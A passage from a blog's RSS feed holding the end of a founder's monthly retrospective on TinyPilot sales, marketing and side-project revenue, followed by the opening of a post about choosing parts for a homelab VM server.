&lt;p>TinyPilot has a mailing list, and when I &lt;a href="https://mtlynch.io/retrospectives/2020/09/#why-oh-y-cables">paused sales in August&lt;/a> to chase down a power issue, I invited customers to sign up for the mailing list to find out when sales would reopen. I expected a burst of sales when I announced that sales were resuming. I wanted to reward customers for waiting, so I offered an exclusive 10% off coupon.&lt;/p>
&lt;p>Only one customer purchased with the coupon, so I guess there wasn&amp;rsquo;t really a backlog of users waiting to purchase. Another customer emailed, asking if they could retroactively apply the coupon to an order they placed the previous day. I allowed it, but I wonder if there were other recent customers who felt punished for purchasing earlier.&lt;/p>
&lt;h3 id="homelab-blogs">Homelab blogs&lt;/h3>
&lt;p>&lt;a href="https://blog.networkprofile.org">NetworkProfile&lt;/a> is a cool blog I found through self-hosting and homelab communities on reddit. I asked the author if he&amp;rsquo;d be interested in reviewing a TinyPilot device, and he needed a new KVM over IP for his security camera server. He published &lt;a href="https://blog.networkprofile.org/tinypilot-open-sourve-ipkvm/">a thorough review&lt;/a> within days of receiving the device that covered both the good and the bad of TinyPilot:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://blog.networkprofile.org/tinypilot-open-sourve-ipkvm/">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/11/networkprofile-review_hu_dd41906f1afcd4b4.png 300w, https://mtlynch.io/retrospectives/2020/11/networkprofile-review_hu_9396cdd701463707.png 600w, https://mtlynch.io/retrospectives/2020/11/networkprofile-review_hu_5bfd61cb54e0a874.png 800w, https://mtlynch.io/retrospectives/2020/11/networkprofile-review_hu_126c4160af9ff51f.png 1200w, https://mtlynch.io/retrospectives/2020/11/networkprofile-review.png 1271w'
 src="https://mtlynch.io/retrospectives/2020/11/networkprofile-review.png" alt="Screenshot of NetworkProfile review header" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyPilot received its first public review &lt;a href="https://blog.networkprofile.org/tinypilot-open-sourve-ipkvm/">in the NetworkProfile blog&lt;/a>.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I also reached out to a large hardware blog that&amp;rsquo;s interested in featuring TinyPilot in November, so I hope to share a positive update about that next month.&lt;/p>
&lt;h3 id="blind-bargains-podcast">Blind bargains podcast&lt;/h3>
&lt;p>This one just happened without me initiating it directly. I only realized it by seeing incoming referrals from &lt;a href="https://www.blindbargains.com/">Blind Bargains&lt;/a>, a podcast for people who are blind or have low vision. &lt;a href="https://twitter.com/mehgcap">Alex Hall&lt;/a> was a guest on the episode, talking about his experience as a blind PC builder.&lt;/p>
&lt;p>BIOS UIs typically have poor accessibility support, so there&amp;rsquo;s no way for blind users to navigate the interface. Alex configured his TinyPilot so that his friend could access it over the Internet and describe to him what appeared on the screen during BIOS. This allowed Alex to customize his BIOS settings to take advantage of the advanced features his motherboard offers.&lt;/p>
&lt;p>If you&amp;rsquo;re interested in &lt;a href="https://www.blindbargains.com/bargains.php?m=22022">checking out the episode&lt;/a>, the TinyPilot discussion begins at 1:03:57.&lt;/p>
&lt;h3 id="self-hosting-newsletter">Self-hosting newsletter&lt;/h3>
&lt;p>Lastly, I submitted TinyPilot to a newsletter about self-hosting projects. It stayed up on their list of user-contributed links, but they didn&amp;rsquo;t include it in their newsletter.&lt;/p>
&lt;p>I can buy a guaranteed spot in the newsletter for $500, but I suspect that the audience is too small to get a positive return on investment there.&lt;/p>
&lt;h2 id="tracking-acquisition">Tracking acquisition&lt;/h2>
&lt;p>The takeaway I&amp;rsquo;m realizing now as I look back on my marketing experiments is that I need to improve my conversion tracking.&lt;/p>
&lt;p>The challenge is that I have sort of an unusual payment flow:&lt;/p>
&lt;ol>
&lt;li>User lands on the TinyPilot website from Google search, paid ad, or an external site.&lt;/li>
&lt;li>User adds an item to their cart and clicks &amp;ldquo;Check out.&amp;rdquo;&lt;/li>
&lt;li>The TinyPilot website sends the user to Shopify to complete their purchase.&lt;/li>
&lt;li>Shopify sends the user back to an &amp;ldquo;Order complete&amp;rdquo; page on the TinyPilot website when they complete their checkout.&lt;/li>
&lt;/ol>
&lt;p>So, Shopify can&amp;rsquo;t track where purchases came from because they see 100% of customers arrive from the TinyPilot website. I run Google Analytics on the TinyPilot website, but it loses the flow of the session because users leave the TinyPilot domain to check out on Shopify and then come back after they complete their order. Google Analytics records those as two separate sessions and doesn&amp;rsquo;t link them.&lt;/p>
&lt;p>I&amp;rsquo;m sure this is solvable, as my flow isn&amp;rsquo;t &lt;em>that&lt;/em> crazy. I just need to spend some time figuring out how to keep track of where customers originate from as they complete the payment flow.&lt;/p>
&lt;div class="notice notice-info">
 &lt;p>The problem of tracking sessions across Shopify checkouts feels like one of those problems that&amp;rsquo;s easy to solve once you&amp;rsquo;ve done it, so if any of my readers know the solution, &lt;a href="https://mtlynch.io/about/">get in touch&lt;/a>.&lt;/p>
&lt;p>&lt;strong>Update&lt;/strong>: A kind reddit user has &lt;a href="https://www.reddit.com/r/SideProject/comments/jnkkzu/my_first_10k_month_selling_a_raspberry_pibased/gb3i0cz/?context=3">shared a potential solution&lt;/a>.&lt;/p>

&lt;/div>

&lt;h2 id="legacy-projects">Legacy projects&lt;/h2>
&lt;p>Here are some brief updates on projects that I still maintain but are not the primary focus of my development:&lt;/p>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>September 2020&lt;/th>
 &lt;th>October 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>44,751&lt;/td>
 &lt;td>50,195&lt;/td>
 &lt;td>&lt;font color="green">+5,444 (+12%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>110,922&lt;/td>
 &lt;td>117,428&lt;/td>
 &lt;td>&lt;font color="green">+6,506 (+6%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Rating (Ahrefs)&lt;/td>
 &lt;td>10.0&lt;/td>
 &lt;td>10.0&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Earnings&lt;/td>
 &lt;td>$161.06&lt;/td>
 &lt;td>$322.58&lt;/td>
 &lt;td>&lt;font color="green">+$161.52 (+100%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdThrive Earnings&lt;/td>
 &lt;td>$135.00&lt;/td>
 &lt;td>N/A&lt;/td>
 &lt;td>N/A&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Earnings&lt;/td>
 &lt;td>$83.03&lt;/td>
 &lt;td>$188.28&lt;/td>
 &lt;td>&lt;font color="green">+$105.25 (+127%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$379.09&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$510.86&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$131.77 (+35%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Is It Keto had nice growth this month, and I&amp;rsquo;m not sure why. I haven&amp;rsquo;t touched it at all since September.&lt;/p>
&lt;p>These numbers further confirm what I&amp;rsquo;ve always liked about Is It Keto as a business: when I stop managing it, it continues earning money at roughly the same rate. When I do add content or features, it bumps up the recurring, passive revenue that I&amp;rsquo;ll earn from it when I stop managing the site.&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>September 2020&lt;/th>
 &lt;th>October 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>333&lt;/td>
 &lt;td>436&lt;/td>
 &lt;td>&lt;font color="green">+103 (+31%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>849&lt;/td>
 &lt;td>1,149&lt;/td>
 &lt;td>&lt;font color="green">+300 (+35%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>RapidAPI Earnings&lt;/td>
 &lt;td>$12.27&lt;/td>
 &lt;td>$35.05&lt;/td>
 &lt;td>&lt;font color="green">+$22.78 (+186%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$12.27&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$35.05&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$22.78 (+186%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Zestful continues its multi-month streak of sub-$100 revenue from low-volume clients.&lt;/p>
&lt;p>I received an inquiry from a large customer about an enterprise package for Zestful. It could potentially be a significant source of revenue, but I&amp;rsquo;m worried about it distracting me from TinyPilot. Historically, enterprise Zestful customers have required little to no support, so it might turn out to be a win-win.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Set a new personal record for revenue, at $10,263 in TinyPilot sales.&lt;/li>
&lt;li>Interviewed several businesses about their pain points in remote administration.&lt;/li>
&lt;li>Published a new blog post about &lt;a href="https://mtlynch.io/building-a-vm-homelab/">using TinyPilot to build my new home VM server&lt;/a>.&lt;/li>
&lt;li>My article on digitizing home videos &lt;a href="https://news.ycombinator.com/item?id=24839848">hit #3 on Hacker News&lt;/a>.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Inventory management makes a huge difference
&lt;ul>
&lt;li>Customers are understandably more interested in purchasing TinyPilot when there isn&amp;rsquo;t a multi-week backlog.&lt;/li>
&lt;li>At the same time, it &lt;a href="https://twitter.com/deliberatecoder/status/1322547428999024641">requires a lot of cash&lt;/a> to pre-pay for inventory in advance.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>I need better conversion tracking before investing more into marketing
&lt;ul>
&lt;li>I tested several marketing channels, but I&amp;rsquo;m limited in what I can learn from the results because I&amp;rsquo;m not tracking the full flow from arrival to purchase.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Release a high-end version of TinyPilot that arrives pre-assembled in a custom case.&lt;/li>
&lt;li>Release the first version of &lt;a href="https://tinypilotkvm.com/product/tinypilot-pro">TinyPilot Pro&lt;/a>.&lt;/li>
&lt;li>Figure out how to properly track the source of customers who end up completing purchases.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Building a Homelab VM Server (2020 Edition)</title><link>https://mtlynch.io/building-a-vm-homelab/</link><pubDate>Tue, 06 Oct 2020 00:00:00 +0000</pubDate><guid>https://mtlynch.io/building-a-vm-homelab/</guid><description>&lt;p>For the past five years, I&amp;rsquo;ve done all of my software development in virtual machines (VMs). Each of my projects gets a dedicated VM, sparing me the headache of dependency conflicts and TCP port collisions.&lt;/p>
&lt;p>Three years ago, I took things to the next level by &lt;a href="https://mtlynch.io/building-a-vm-homelab-2017">building my own homelab server&lt;/a> to host all of my VMs. It&amp;rsquo;s been a fantastic investment, as it sped up numerous dev tasks and improved reliability.&lt;/p></description><content:encoded>&lt;p>For the past five years, I&amp;rsquo;ve done all of my software development in virtual machines (VMs). Each of my projects gets a dedicated VM, sparing me the headache of dependency conflicts and TCP port collisions.&lt;/p>
&lt;p>Three years ago, I took things to the next level by &lt;a href="https://mtlynch.io/building-a-vm-homelab-2017">building my own homelab server&lt;/a> to host all of my VMs. It&amp;rsquo;s been a fantastic investment, as it sped up numerous dev tasks and improved reliability.&lt;/p>
&lt;p>In the past few months, I began hitting the limits of my VM server. My projects have become more resource-hungry, and mistakes I&amp;rsquo;d made in my first build were coming back to bite me. I decided to build a brand new homelab VM server for 2020.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab/build-components.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/build-components_hu_70d09ec36951c08d.jpg 300w, https://mtlynch.io/building-a-vm-homelab/build-components_hu_c7a0597fa12cadf7.jpg 600w, https://mtlynch.io/building-a-vm-homelab/build-components_hu_5b025799c2db2238.jpg 800w, https://mtlynch.io/building-a-vm-homelab/build-components_hu_6741485243f9cc1f.jpg 1200w, https://mtlynch.io/building-a-vm-homelab/build-components.jpg 1600w'
 src="https://mtlynch.io/building-a-vm-homelab/build-components.jpg" alt="Photo of my server build components" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Components of my new VM server build (most of them, anyway)&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="i-dont-care-about-the-backstory-show-me-your-build">I don&amp;rsquo;t care about the backstory; show me your build!&lt;/h2>
&lt;p>If you&amp;rsquo;re not interested in the &amp;ldquo;why&amp;rdquo; of this project, you can jump &lt;a href="#my-2020-server-build">directly to the build&lt;/a>.&lt;/p>
&lt;h2 id="why-build-a-whole-vm-server">Why build a whole VM server?&lt;/h2>
&lt;p>Originally, I used VirtualBox to run VMs from my Windows desktop. That was fine for a while, but reboots became a huge hassle.&lt;/p>
&lt;p>Between forced reboots from Windows Update, voluntary restarts to complete software installs, and the occasional OS crash, I had to restart my entire suite of development VMs three to five times per month.&lt;/p>
&lt;p>A dedicated VM server spares me most reboots. The VM host runs a minimal set of software, so crashes and mandatory reboots are rare.&lt;/p>
&lt;div class="notice notice-info">
 &lt;p>&lt;strong>What&amp;rsquo;s a &amp;ldquo;homelab?&amp;rdquo;&lt;/strong>&lt;/p>
&lt;p>Homelab is just a colloquial term that&amp;rsquo;s grown in popularity in the last few years. Homelab servers are no different from any other servers, except that you build them at home rather than in an office or data center. Many people use them as a low-stakes practice environment before using the same tools in a real-world business context.&lt;/p>

&lt;/div>

&lt;h2 id="why-not-use-cloud-computing">Why not use cloud computing?&lt;/h2>
&lt;p>Cloud servers could serve the same function and save me the trouble (fun!) of maintaining my own hardware, but it&amp;rsquo;s prohibitively expensive. For VM resources similar to my homelab server, AWS EC2 instances &lt;a href="https://calculator.aws/#/estimate?id=d61c9cdebdd3b7eac861f4351cdabcbc1c5ac97c">would cost over $6k per year&lt;/a>:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab/aws-pricing.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/aws-pricing_hu_a0b25f165a586b3.png 300w, https://mtlynch.io/building-a-vm-homelab/aws-pricing_hu_2cc6e590b59c983a.png 600w, https://mtlynch.io/building-a-vm-homelab/aws-pricing_hu_456c24aa62f45a73.png 800w, https://mtlynch.io/building-a-vm-homelab/aws-pricing.png 979w'
 src="https://mtlynch.io/building-a-vm-homelab/aws-pricing.png" alt="Screenshot showing AWS EC2 instances would cost $6,112.68 per year" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Using AWS instead of my homelab server would &lt;a href="https://calculator.aws/#/estimate?id=d61c9cdebdd3b7eac861f4351cdabcbc1c5ac97c">cost me over $6k per year&lt;/a>.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I could substantially reduce costs by turning cloud instances on and off as needed, but that would introduce friction into my workflows. With a local VM server, I can keep 10-20 VMs available and ready at all times without worrying about micromanaging my costs.&lt;/p>
&lt;h2 id="learning-from-past-mistakes">Learning from past mistakes&lt;/h2>
&lt;p>My 2017 build served me well, but in three years of using it, I&amp;rsquo;ve come to recognize a few key areas begging for improvement.&lt;/p>
&lt;h3 id="1-keep-storage-local">1. Keep storage local&lt;/h3>
&lt;p>My Synology NAS has 10.9 TB of storage capacity. With all that network storage space, I thought, &amp;ldquo;why put more disk space on the server than the bare minimum to boot the host OS?&amp;rdquo;&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab/synology-pool.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/synology-pool_hu_34bbd18ae8cf2bd5.png 300w, https://mtlynch.io/building-a-vm-homelab/synology-pool_hu_3b8a7bb8f6a9e34c.png 600w, https://mtlynch.io/building-a-vm-homelab/synology-pool.png 734w'
 src="https://mtlynch.io/building-a-vm-homelab/synology-pool.png" alt="Screenshot showing 10.9 TB" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>On my first build, I relied on my 10.9 TB of network storage.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>That turned out to be a dumb idea.&lt;/p>
&lt;p>First, running VMs on network storage creates a strict dependency on the disk server. Synology publishes OS upgrades every couple of months, and their patches always require reboots. With my VMs running on top of Synology&amp;rsquo;s storage, I had to shut down my entire VM fleet before applying any update from Synology. It was the same reboot problem I had when I ran VMs on my Windows desktop.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 550px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab/dsm-upgrade.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 550px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/dsm-upgrade_hu_abf2dfa4e09e6491.png 300w, https://mtlynch.io/building-a-vm-homelab/dsm-upgrade_hu_e6572fbcc86950fe.png 600w, https://mtlynch.io/building-a-vm-homelab/dsm-upgrade.png 755w'
 src="https://mtlynch.io/building-a-vm-homelab/dsm-upgrade.png" alt="Screenshot of Synology upgrade screen" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The OS on my storage server requires frequent upgrades.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Second, random disk access over the network is &lt;strong>slow&lt;/strong>. At the time of my first build, most of my development work was on backend Python and Go applications, and they didn&amp;rsquo;t perform significant disk I/O. Since then, I&amp;rsquo;ve expanded into frontend web development. Modern web frameworks all use Node.js, so every project has anywhere from 10k-200k random JavaScript files in its dependency tree. Node.js builds involve tons of random disk access, a worst-case scenario for network storage.&lt;/p>
&lt;h3 id="2-pick-better-vm-management-software">2. Pick better VM management software&lt;/h3>
&lt;p>For my first server, I evaluated two options for VM management: &lt;a href="https://github.com/kimchi-project/kimchi">Kimchi&lt;/a> and &lt;a href="https://www.vmware.com/products/esxi-and-esx.html">VMWare ESXi&lt;/a>. VMWare was far more polished and mature, but Kimchi charmed me with its scrappy spirit and open-source nature.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab/kimchi-guests.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/kimchi-guests_hu_b9b866320d7bcdc5.png 300w, https://mtlynch.io/building-a-vm-homelab/kimchi-guests_hu_8694d88cffc07741.png 600w, https://mtlynch.io/building-a-vm-homelab/kimchi-guests_hu_5b981ad7efe14f02.png 800w, https://mtlynch.io/building-a-vm-homelab/kimchi-guests.png 1092w'
 src="https://mtlynch.io/building-a-vm-homelab/kimchi-guests.png" alt="Screenshot of Kimchi" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Early listing of my VMs through Kimchi&amp;rsquo;s web UI&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Almost immediately after I installed it, development on Kimchi stopped.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab/i-use-kimchi.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/i-use-kimchi_hu_96a129ec6c6cc31f.png 300w, https://mtlynch.io/building-a-vm-homelab/i-use-kimchi_hu_5de04eb52195f165.png 600w, https://mtlynch.io/building-a-vm-homelab/i-use-kimchi.png 794w'
 src="https://mtlynch.io/building-a-vm-homelab/i-use-kimchi.png" alt="Graph of commits to Kimchi repository showing commits ending right after I started using it" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Code commits to Kimchi, which stop almost immediately after I started using it&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Over time, Kimchi&amp;rsquo;s shortcomings became more and more apparent. I often had to click a VM&amp;rsquo;s &amp;ldquo;clone&amp;rdquo; or &amp;ldquo;shutdown&amp;rdquo; button multiple times before it cooperated. And there were infuriating UI bugs where buttons disappeared or shifted position right before I clicked on them.&lt;/p>
&lt;h3 id="3-plan-for-remote-administration">3. Plan for remote administration&lt;/h3>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img align-right" style="max-width: 250px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab/vm-server-front.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 250px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/vm-server-front_hu_db49e6f352f97c30.jpg 300w, https://mtlynch.io/building-a-vm-homelab/vm-server-front_hu_4887dcc78f3042d8.jpg 600w, https://mtlynch.io/building-a-vm-homelab/vm-server-front_hu_d03e831e340c2437.jpg 800w, https://mtlynch.io/building-a-vm-homelab/vm-server-front_hu_6c36e15b6c24ad0b.jpg 1200w, https://mtlynch.io/building-a-vm-homelab/vm-server-front.jpg 1200w'
 src="https://mtlynch.io/building-a-vm-homelab/vm-server-front.jpg" alt="Photo of my old VM server" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My VM server is tucked away in the corner, which is convenient except for the occasional instance where I need physical access.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>If you read the above and thought, &amp;ldquo;Kimchi is just software. Why did Michael have to build a whole new server just to install a different VM manager?&amp;rdquo; It&amp;rsquo;s because I failed to anticipate the importance of remote administration.&lt;/p>
&lt;p>My VM server is just a PC that sits in the corner of my office with no monitor or keyboard attached. That&amp;rsquo;s fine 99% of the time when I can SSH in or use the web interface. But for the 1% of the time when the server fails to boot or I want to install a new host OS, it&amp;rsquo;s a huge pain. I have to drag the server over to my desk, disconnect my desktop keyboard and monitor, fix whatever needs fixing, then restore everything in my office to its original configuration.&lt;/p>
&lt;p>For my next build, I wanted a virtual console with physical-level access to the machine as soon as it powered on. I was thinking something like &lt;a href="https://en.wikipedia.org/wiki/Dell_DRAC">Dell&amp;rsquo;s iDRAC&lt;/a> or &lt;a href="https://en.wikipedia.org/wiki/HP_Integrated_Lights-Out">HP&amp;rsquo;s iLO&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab/idrac.png">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/idrac_hu_37667ad8c707f641.png 300w, https://mtlynch.io/building-a-vm-homelab/idrac_hu_c3e0a78fcf292bbf.png 600w, https://mtlynch.io/building-a-vm-homelab/idrac_hu_e1c6d55bbb362705.png 800w, https://mtlynch.io/building-a-vm-homelab/idrac.png 850w'
 src="https://mtlynch.io/building-a-vm-homelab/idrac.png" alt="Screenshot of Dell iDRAC interface" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Dell iDRAC was one option I considered for remote server management.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="choosing-components">Choosing components&lt;/h2>
&lt;h3 id="cpu">CPU&lt;/h3>
&lt;p>My first VM server&amp;rsquo;s CPU was a &lt;a href="https://www.amd.com/en/products/cpu/amd-ryzen-7-1700">Ryzen 7 1700&lt;/a>. At eight cores and 16 threads, it was &lt;a href="https://www.tomshardware.com/reviews/amd-ryzen-7-1700-cpu-review,5009.html">the hot new CPU at the time&lt;/a>. But when I showed off my build on &lt;a href="https://www.reddit.com/r/homelab/">/r/homelab&lt;/a>, reddit&amp;rsquo;s homelab subcommunity, they mocked me as a filthy casual because I used &lt;em>consumer&lt;/em> parts. The cool kids used enterprise gear.&lt;/p>




















 
 
 







&lt;figure class="img" style="max-width: 562px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab/do-u-even.png">
 &lt;img
 
 sizes="(min-width: 768px) 562px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/do-u-even_hu_a9318617f536cd32.png 300w, https://mtlynch.io/building-a-vm-homelab/do-u-even.png 562w'
 src="https://mtlynch.io/building-a-vm-homelab/do-u-even.png" alt="redditor /u/pylori asks &amp;#39;Bro, do you even homelab? Seriously you&amp;#39;re worried about hardware failure on enterprise gear that&amp;#39;s built to outlast newer consumer stuff?&amp;#39;" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://www.reddit.com/r/homelab/comments/69sk2v/building_a_homelab_vm_server/dh93sur/">/r/homelab was unimpressed&lt;/a> with my first build.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Resolved never to let /r/homelab make fun of me again, I ventured into the world of enterprise server hardware. I even got fancy and chose to build a system with two physical CPUs.&lt;/p>
&lt;p>To get the best performance for my dollar, I restricted my search to used CPUs, released four to eight years ago. For each candidate, I &lt;a href="https://www.cpubenchmark.net">looked up benchmark scores on PassMark&lt;/a> and then checked eBay for recent sales of that CPU model in used condition.&lt;/p>
&lt;p>The most cost-efficient performance seemed to be in the &lt;a href="https://ark.intel.com/content/www/us/en/ark/products/series/78583/intel-xeon-processor-e5-v3-family.html">Intel Xeon E5 v3&lt;/a> family, especially the 2600 models. I settled on the &lt;a href="https://ark.intel.com/content/www/us/en/ark/products/81908/intel-xeon-processor-e5-2680-v3-30m-cache-2-50-ghz.html">E5-2680 v3&lt;/a>. It had an average benchmark of 15,618 and cost ~$130 used on eBay.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 420px">



 &lt;a href="https://www.newegg.com/supermicro-mbd-x10dal-i-o-intel-xeon-processor-e5-2600-v4-v3-family/p/N82E16813182967">
 &lt;img
 
 sizes="(min-width: 768px) 420px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/xeon-e5-2680v3_hu_d2893d30e9d06411.jpg 300w, https://mtlynch.io/building-a-vm-homelab/xeon-e5-2680v3_hu_a75e0e6499c2a2c2.jpg 600w, https://mtlynch.io/building-a-vm-homelab/xeon-e5-2680v3_hu_95c106c747f91e99.jpg 800w, https://mtlynch.io/building-a-vm-homelab/xeon-e5-2680v3_hu_94b591d51ee6ea5.jpg 1200w, https://mtlynch.io/building-a-vm-homelab/xeon-e5-2680v3.jpg 1600w'
 src="https://mtlynch.io/building-a-vm-homelab/xeon-e5-2680v3.jpg" alt="Photo of Intel Xeon E5-2680 v3 CPU" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 490px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab/xeon-benchmark.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 490px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab/xeon-benchmark_hu_8eb5a8d9bc5813d5.png 300w, https://mtlynch.io/building-a-vm-homelab/xeon-benchmark_hu_4cb0af64a87dfb29.png 600w, https://mtlynch.io/building-a-vm-homelab/xeon-benchmark.png 746w'
 src="https://mtlynch.io/building-a-vm-homelab/xeon-benchmark.png" alt="Screenshot of Xeon E5-2680 v3&amp;#39;s 15618 score on cpubenchmark.net" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>The Intel Xeon E5-2680 v3 &lt;a href="https://www.cpubenchmark.net/cpu.php?cpu=Intel+Xeon+E5-2680+v3+%40+2.50GHz&amp;amp;id=2390">scores 15,618 on cpubenchmark.net&lt;/a>.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>For context, my previous build&amp;rsquo;s Ryzen 7 had a benchmark of 14,611. So with dual-E5-2680s, I&amp;rsquo;d more than double the processing power from my old server.&lt;/p>
&lt;h3 id="motherboard">Motherboard&lt;/h3>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img align-left" style="max-width: 280px">



 &lt;a href="https://www.newegg.com/supermicro-mbd-x10dal-i-o-intel-xeon-processor-e5-2600-v4-v3-family/p/N82E16813182967">
 &lt;img
 
 sizes="(min-width: 768px) 280px, 98vw"
